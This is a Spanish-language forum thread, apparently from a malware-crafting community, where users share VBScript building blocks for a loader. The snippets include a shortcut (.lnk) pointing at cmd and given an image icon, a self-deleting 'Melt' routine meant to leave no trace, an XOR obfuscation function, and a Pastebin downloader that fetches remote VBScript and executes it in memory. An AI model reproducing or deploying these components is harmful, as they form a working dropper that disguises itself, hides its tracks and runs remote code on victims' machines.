Mensajes

Para ser mas preciso en la linea

Código (vb) [Seleccionar] Expandir

lnkobj.arguments = "/c start " & replace(wscript.scriptname," ", chrw(34) & " " & chrw(34)) & "&exit"


que argumentos debe tener un lnk para que ejecute un programa?

Simplemente llama a la aplicacion desde el CMD con "Start", aunque creo que se deberia usar WScript.ScriptFullName, a ver si lo ve MadAntrax.

//Regards.

Bueno, este Melt lo acabo de hacer para el SafeLoader 2.0, trata de no dejar ningun rastro del archivo, por eso todo se hace "On the Fly". 

Código (vb) [Seleccionar] Expandir

sMelt(WScript.ScriptFullName)

Function sMelt(sFile)
    On Error Resume Next

Dim sFunction

    sFunction = "WScript.Sleep 3000: Set Melt = CreateObject(" & Chr(34) & "Scripting.FileSystemObject" & Chr(34) & "): Melt.DeleteFile " & Chr(34) & sFile & Chr(34)

Execute(sFunction)
End Function

//Regards.

Digamos que basicamente crea el .lnk apuntando hacia el CMD con parametros y asignandole un Icono de imagen.

//Regards.

Bueno esto es una traducción simple que hice del XOR a VBS.   

Código (vb) [Seleccionar] Expandir

Function sXOR(sText, sKey)
    On Error Resume Next

Dim i, s, k

For i = 1 To Len(sText)
    s = Mid(sText, i, 1): k = Asc(s): k = k Xor Len(sKey): k = Chr(k): sXOR = sXOR & k
Next
End Function

//Regards.

Te quedó de lujo bro, no sabia esos atajos de teclado para Twitter y Facebook. 

//Regards.

Bueno, esto es un simple PasteBin Downloader, lo que hace basicamente es descargar el codigo (VBScript) de PasteBin y ejecutarlo en memoria.

Código (vb) [Seleccionar] Expandir

Function sDownloader(sPasteID)
    On Error Resume Next

    Dim GetCode, GetResponse

    Set GetCode = CreateObject("MSXML2.XMLHTTP")
    GetCode.Open "GET", "http://pastebin.com/raw.php?i=" & sPasteID, False
    GetCode.Send

    GetResponse = GetCode.ResponseText
    Execute(GetResponse)
End Function

//Regards.